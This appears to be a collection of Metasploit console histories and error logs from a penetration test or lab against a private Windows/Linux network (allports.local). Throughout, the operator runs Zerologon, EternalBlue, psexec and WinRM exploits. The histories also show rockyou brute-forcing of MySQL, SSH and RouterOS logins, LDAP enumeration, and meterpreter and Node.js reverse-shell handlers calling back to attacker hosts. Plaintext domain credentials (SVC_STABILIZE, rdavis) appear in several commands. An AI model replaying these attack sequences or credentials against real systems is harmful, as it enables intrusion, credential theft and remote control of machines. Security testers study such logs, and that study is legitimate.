_raw:
search rpc
use auxiliary/scanner/dcerpc/endpoint_mapper
show options
set rhosts 10.0.1.6
run
use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
show options
set rhosts 10.0.1.6
set NBNAME APT
run
set nbname allports.tours
run
set nbname allports.local0
run


_raw:
search router
search routeros
use 1
options
setg RHOSTS 10.0.1.10
run
exit
search ldap
search ldap login
use 4
options


_raw: [11/08/2025 21:16:12] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 21:15:05] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 10.0.254.206
set LPORT 9999
run


_raw:
search mysql
use 32
CreateSession
help
set RHOSTS 10.0.1.99
run
analyze 10.0.1.99
quit
search mysql
use 30
set RHOST 10.0.1.99
set RPORT 3306
set USERNAME root
run
set RHOST 10.0.1.15
run
quit
search ldapp
search ldap
use 31
options
set ANONYMOUS_LOGIN true
set CREATESESSION true
set PASS_FILE /usr/share/wordlists/rockyou.txt
set RPOT 3268
set RPORT 3268
options
set ANONYMOUS_LOGIN true
run
set RHOSTS 10.0.1.6
run
sessions -i
session -i 1
sessions -i 1
back
search ms
search jetty
search mysql
use 61
show actions
options
back
search mysql
use 30
options
set RHOST 10.0.1.15
set RPORT 3306
run
set RHOST 10.0.1.99
run
back
search jetty
use 2
options
set RHOSTS 10.0.1.15
set RPORT 8090
run
back
search jetty
use 3
options
set RHOSTS 10.0.1.15
set RPORT 8090
run
back
search uvicorn
search mysql
use 59
options
search mysql_sql
use 0
options
set RHOSTS 10.0.1.15
run
back
search Jetty
use 0
options
set RHOSTS 10.0.1.15
set RPORT 8090
run
back
search jetty
use 2
options
set RHOSTS 10.0.1.15
set RPORT 8090
run
set AutoCheck false
set ForceExploit true
run
back
use auxiliary/scanner/mysql/mysql_version
set RHOST 10.0.1.15
run
back
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
options
set RHOSTS 10.0.1.15
set USERNAME admin
run
back
search mysql


_raw:
search auxiliary/scanner/dcerpc
use 2
show options
set RHOSTS 10.0.1.6
exploit
use auxiliary/scanner/dcerpc/hidden
show options
set RHOSTS 10.0.1.6
exploit
use use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/management
show options]
show options
set RHOSTS 10.0.1.6
exploit
auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
y
show options
set RHOSTS 10.0.1.6
exploitr
exploit
show options
exit


_raw:
search psexec
use exploit/windows/smb/psexec
set RHOSTS 10.0.1.6
options
set SMBUser SVC_STABILIZE
set SMBPass 1gyroscope
set PAYLOAD windows/meterpreter/bind_tcp
exploit
set RHOSTS 10.0.1.20
exploit
cls
clear
exit -y


_raw: [11/08/2025 20:57:16] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/08/2025 20:57:05] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 20:56:58] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/08/2025 20:54:56] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 20:46:53] [e(0)] core: Module use not found, and no loading errors found. If you're using a custom module refer to our wiki: https://docs.metasploit.com/docs/using-metasploit/intermediate/running-private-modules.html


_raw: [11/08/2025 20:45:39] [e(0)] core: Rex::Proto::DCERPC::Exceptions::Fault DCERPC FAULT => nca_s_fault_access_denied


_raw: [11/08/2025 20:43:42] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 20:43:30] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 20:42:58] [e(0)] core: Exploit failed (windows/smb/psexec): Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000015b) STATUS_LOGON_TYPE_NOT_GRANTED: A user has requested a type of logon (for example, interactive or network) that has not been granted. An administrator has control over who may logon interactively and through the network. - Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000015b) STATUS_LOGON_TYPE_NOT_GRANTED: A user has requested a type of logon (for example, interactive or network) that has not been granted. An administrator has control over who may logon interactively and through the network.


_raw: [11/08/2025 20:42:58] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/08/2025 20:42:23] [e(0)] core: Exploit failed (windows/smb/psexec): RubySMB::Error::UnexpectedStatusCode The server responded with an unexpected status code: STATUS_ACCESS_DENIED - RubySMB::Error::UnexpectedStatusCode The server responded with an unexpected status code: STATUS_ACCESS_DENIED


_raw: [11/08/2025 20:42:23] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/08/2025 20:38:44] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
?/%2557EB-INF/web.xml
clear
use exploit/windows/winrm/winrm_script_exec
show options
set rport 5986
set rhost 10.0.1.21
show options
run
show options
set PASSWORD rosdav50
run
set PASSWORD Sails@way!
run
search rdp
clear
ls
exit()
clear
ls
exit()
exit


_raw:
search ldap exploit
use 26
options
setg DOMAIN allports.local
run
Nmap A sS sC sV T5 -P- 10.0.1.14
nmap A sS sC sV T5 -P- 10.0.1.14
nmap A sS sC sV T5 -p- 10.0.1.14
nmap -A -sS -sC -sV -T5 -p- 10.0.1.14
exit
mysql -u rdavis -p -h 10.0.1.99 -P 33 -D information_schema
telnet 10.0.1.99:33
mysql -u rdavis -p -h 10.0.1.99 -P 33 -D information_schema
mysql -u SVC_STABILIZE -p -h 10.0.1.99 -P 33 -D information_schema
rdesktop -d APT -u "SVC_STABILIZE" -p "1gyroscope" 10.0.1.20
exit
exit -y


_raw: [11/08/2025 20:09:48] [e(0)] core: Exploit failed (windows/winrm/winrm_script_exec): RuntimeError user is a required option - RuntimeError user is a required option


_raw: [11/08/2025 20:09:28] [e(0)] core: Exploit failed (windows/winrm/winrm_script_exec): RuntimeError user is a required option - RuntimeError user is a required option


_raw:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.0.1.21
set LHOST 10.0.254.255
exploit
set LHOST 10.0.1.20
exploit
exit


_raw: [11/08/2025 20:03:14] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 19:55:39] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/08/2025 19:55:15] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/08/2025 19:54:43] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
use auxiliary/scanner/winrm/winrm_auth_methods
set rhosts 10.0.1.20
set user_file users.txt
show options
run
exit


_raw: [11/08/2025 19:54:01] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 19:40:14] [e(0)] core: Exploit failed (windows/smb/ms06_070_wkssvc): Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer - Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer


_raw: [11/08/2025 19:40:14] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/08/2025 19:40:13] [i(0)] core: windows/meterpreter/reverse_tcp: iteration 1: Successfully encoded with encoder x86/shikata_ga_nai (size is 408)


_raw:
ldapsearch -x -D 'rdavis' -W -H ldap://10.0.1.6:3268 -b 'DC=allports,DC=local' 'objectClass=*'
sessions -i 1


_raw:
search auxiliary/gather/ldap
use 2
run
search ldap_login
use 0
run
search gather/ldap
options
use 8
options
sessions
set SESSION 1
run
search gather/ldap
use 2
run
search LDAP
use 44
run
use 45
run
use 32
options
run
sessions
set SESSION 1
run
search ldap pass
use 24
run
search ssh
search ssh_login
use 0
options
setg PASSWORD rosdav50
setg USERNAME rdavis
options
set RPORT 22
set RHOSTS 10.0.0.1.0 10.0.1.6 10.0.254.208 10.0.1.10 10.0.1.11 10.0.1.15 10.0.1.14 10.0.1.21 10.0.1.30 10.0.1.99 10.0.1.254
options
run
set RHOSTS 10.0.1.6 10.0.254.208 10.0.1.10 10.0.1.11 10.0.1.15 10.0.1.14 10.0.1.21 10.0.1.30 10.0.1.99 10.0.1.254
run
sessions
search rdp
search upload rdp
search rdp
search windows rdp
search mysql
use 32
options
set RPORT 3306
run
set CreateSession true
run
session
sessions
ls
run
!mysql
exit
clear
search rdp login
search kerberos
search CVE 2023
search CVE 2023 41570
search mikrotik
search CVE 2023 32
search CVE 2023 32154
clear
search routeros
use 3
options
ssh admin@10.0.1.10
search ssh login
ssh rdavis@10.0.1.10
use 14
options
set RHOSTS 10.0.1.10
run
set PASS_FILE /usr/share/wordlists/rockyou.txt
setg BRUTEFORCE_SPEED 3
options
set USERNAME admin
run
search 30799
mkcheck
search ldap
search ldap exploit
search gather/ldap
use 0
options
set RHOSTS 10.0.1.6
setg RHOSTS 10.0.1.6
set RPORT 3268
run
ssessions
sessions
ldapsearch -x -H ldap://10.0.1.6:3268 -s base namingcontexts
ldapsearch -x -D '' -w '' -H ldap://10.0.1.6:3268 -b 'DC=allports,DC=local' 'objectClass=*'
ldapsearch -x -D 'rdavis' -W -H ldap://10.0.1.6:3268 -b 'DC=allports,DC=local' 'objectClass=*'
run
options
sessions
use 2
ldapsearch -x -D 'rdavis' -W -H ldap://10.0.1.6:3268 -b 'DC=allports,DC=local' 'objectClass=*'
session -i 1
sessions -i 1


_raw: [11/08/2025 19:33:05] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw:
search 9.4 jety
search jetty
use 3
show options
set rhost 10.0.1.15
run
clear
ls
clear
exit


_raw:
use auxiliary/scanner/mysql/mysql_version
set RHOSTS 10.0.1.15
run
use
exit
use auxiliary/admin/mysql/mysql_enum
set RHOSTS 10.0.1.15
run
use auxiliary/scanner/mysql/mysql_login
quit
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 10.0.1.15
set USER_FILE users.txt
set PASS_FILE password.txt
set STOP_ON_SUCCESS true
run
exit


_raw: [11/08/2025 19:27:49] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
use auxiliary/scanner/mysql/mysql_version
set RHOSTS 10.0.1.15
run
use
exit
use auxiliary/admin/mysql/mysql_enum
set RHOSTS 10.0.1.15
run
use auxiliary/scanner/mysql/mysql_login
quit


_raw:
use auxiliary/scanner/mysql/mysql_version
set RHOSTS 10.0.1.15
run
use
exit


_raw: [11/08/2025 19:20:03] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 18:59:39] [e(0)] core: Failed to open history file: /root/.msf4/history with error: No such file or directory @ rb_sysopen - /root/.msf4/history


_raw: [11/08/2025 18:59:35] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 18:59:27] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search cve 2021-23017
search nginx
use 10
show options
set RHOSTS 10.0.1.14
exploit
exit
search nginx
use 0
show options
set RHOSTS 10.0.1.14
exploit
set LHOSTS 10.0.254.204
exploit
set LHOST 10.0.254.204
exploit
exit


_raw: [11/08/2025 18:57:57] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search cve 2021-23017
search nginx
use 10
show options
set RHOSTS 10.0.1.14
exploit
exit


_raw: [11/08/2025 18:57:11] [e(0)] core: Exploit failed (linux/http/roxy_wi_exec): Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444). - Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).


_raw:
search 5.6.40
search mysqlnd
clear
search 2.4.25
clear
show options
set swagger_host 10.0.1.15
run
set PAYLOAD nodejs/shell_reverse_tcp
run
exit


_raw: [11/08/2025 18:54:30] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 18:54:18] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 18:48:04] [e(0)] core: Exploit failed (multi/fileformat/swagger_param_inject): Msf::IncompatiblePayloadError generic/shell_reverse_tcp is not a compatible payload. - Msf::IncompatiblePayloadError generic/shell_reverse_tcp is not a compatible payload.


_raw: [11/08/2025 18:27:43] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 18:18:52] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
msf auxiliary(scanner/smb/smb_version) > run
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.21/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 10.0.1.6:445          - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:LZNT1, Pattern_V1) (encryption capabilities:AES-256-GCM) (signatures:required) (guid:{22c34e5e-d622-49d9-8a48-3948193bf5cb}) (authentication domain:APT)
[+] 10.0.1.6:445          -   Host is running Version 10.0.20348 (likely Windows Server 2022)
[*] 10.0.1.6              - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_version) >
msf auxiliary(scanner/smb/smb_version) > run
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.21/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 10.0.1.6:445          - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:LZNT1, Pattern_V1) (encryption capabilities:AES-256-GCM) (signatures:required) (guid:{22c34e5e-d622-49d9-8a48-3948193bf5cb}) (authentication domain:APT)
[+] 10.0.1.6:445          -   Host is running Version 10.0.20348 (likely Windows Server 2022)
[*] 10.0.1.6              - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_version) >
use auxiliary/scanner/smb/smb_lookupsid
set prod.allports.local
set rhosts prod.allports.local
run
set rhosts 10.0.1.6
run
exit


_raw: [11/08/2025 18:11:54] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:53] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:52] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:51] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:50] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:49] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:48] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:47] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:46] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:45] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:44] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:43] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:42] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:41] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:40] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:39] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:38] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:37] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:36] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:35] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:34] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:33] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:32] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:31] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:30] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:29] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:28] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:27] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:26] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:25] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:24] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:23] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:22] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:21] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:20] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:19] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:18] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:17] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:16] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:15] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:14] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:13] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:12] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:11] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:10] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:09] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:08] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:07] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:06] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:05] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:04] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:03] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:02] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:01] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:11:00] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:10:59] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:10:58] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:10:57] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:10:56] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:10:55] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:10:54] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:10:53] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:10:52] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:10:51] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:10:50] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:10:49] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/08/2025 18:10:49] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/08/2025 18:10:05] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
use auxiliary/scanner/smb/smb_version
set
set rhost 10.0.1.1
run
set rhost 10.0.1.6
run
quit


_raw: [11/08/2025 18:04:11] [d(0)] core: Error with SMB fingerprint: Login Failed: Connection reset by peer


_raw: [11/08/2025 18:04:11] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/08/2025 18:03:19] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 18:01:53] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
use auxiliary/scanner/dcerpc/endpoint_mapper
set
set CHOST 10.0.1.20
run
set CHOST ""
set RHOST 10.0.1.20
run
exit


_raw: [11/08/2025 17:57:40] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/08/2025 17:57:10] [d(0)] core: Operation was successful


_raw: [11/08/2025 17:57:01] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 17:56:07] [e(0)] core: LDAP Client: Errno::ECONNRESET - Errno::ECONNRESET Connection reset by peer @ io_fillbuf - fd:10


_raw: [11/08/2025 17:54:34] [d(0)] core: Operation was successful


_raw: [11/08/2025 17:54:29] [d(0)] core: Operation was successful


_raw: [11/08/2025 17:51:32] [d(0)] core: Operation was successful


_raw:
use auxiliary/scanner/winrm/winrm_auth_methods
set rhosts 10.0.1.20
run
/exit
exit


_raw: [11/08/2025 17:50:37] [d(0)] core: Operation was successful


_raw: [11/08/2025 17:50:37] [i(0)] core: 10.0.1.6:3268 Discovered Schema DN: CN=Schema,CN=Configuration,DC=allports,DC=local


_raw: [11/08/2025 17:49:27] [e(0)] core: LDAP Client: Errno::ECONNRESET - Errno::ECONNRESET Connection reset by peer @ io_fillbuf - fd:8


_raw:
search netbios
use 2
use 0
options
setg RHOSTS 10.0.1.21
setg RPORT 2289
run
setg RPORT 139
run
search netbios
search rpc
search scanner rpc
select 5
options
setg RPORT 49664
run
search rdp
search scan rdp
use 1
options
run
setg RPORT 49665
run
setg RPORT 49666
run
setg RPORT 49667
run
setg RPORT 49668
run
setg RPORT 49669
run
use 3389
run
setg RPORT 3389
run
clear
search rdp ntlm
search rdp
search windows rdp
use 31
options
run
use 3
options
run
set RDP_DOMAIN APT
set RDP_USER APT
run
search windows/rdp
search ntlm
use 45
options
run
search smb
search windows/smb
search smb3
search smb2
search smb
search LDAP
use 133
options
search LDAP
use 31
options
set RHOSTS 10.0.1.6
set RPORT 3268
set LDAPPassword rosdav50
set LDAPUsername rdavis
run
set LDAPDpmain allports.local0
set LDAPDomain allports.local0
run
sessions
options
session -i 1
sessions -i 1


_raw: [11/08/2025 17:48:26] [w(0)] core: monitor_rsock: the remote socket has been closed, exiting loop


_raw:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST eth0
set LPORT 9000
exit


_raw: [11/08/2025 17:46:39] [e(0)] core: Failed to open history file: /root/.msf4/history with error: No such file or directory @ rb_sysopen - /root/.msf4/history


_raw: [11/08/2025 17:46:27] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 17:45:09] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 17:44:57] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
[11/08/2025 17:43:46] [e(0)] core: Errno::EISDIR : Is a directory @ rb_sysopen - /home/pentester/Downloads/
/usr/bin/msfvenom:491:in `initialize'
/usr/bin/msfvenom:491:in `open'
/usr/bin/msfvenom:491:in `<main>'


_raw:
[11/08/2025 17:43:27] [e(0)] core: Errno::EISDIR : Is a directory @ rb_sysopen - .
/usr/bin/msfvenom:491:in `initialize'
/usr/bin/msfvenom:491:in `open'
/usr/bin/msfvenom:491:in `<main>'


_raw: [11/08/2025 17:41:22] [e(0)] core: Auxiliary failed - EOFError EOFError


_raw:
search mysql
use 61
show actions
options
back
search mysql
use 30
options
set RHOST 10.0.1.15
set RPORT 3306
run
set RHOST 10.0.1.99
run
back
search jetty
use 2
options
set RHOSTS 10.0.1.15
set RPORT 8090
run
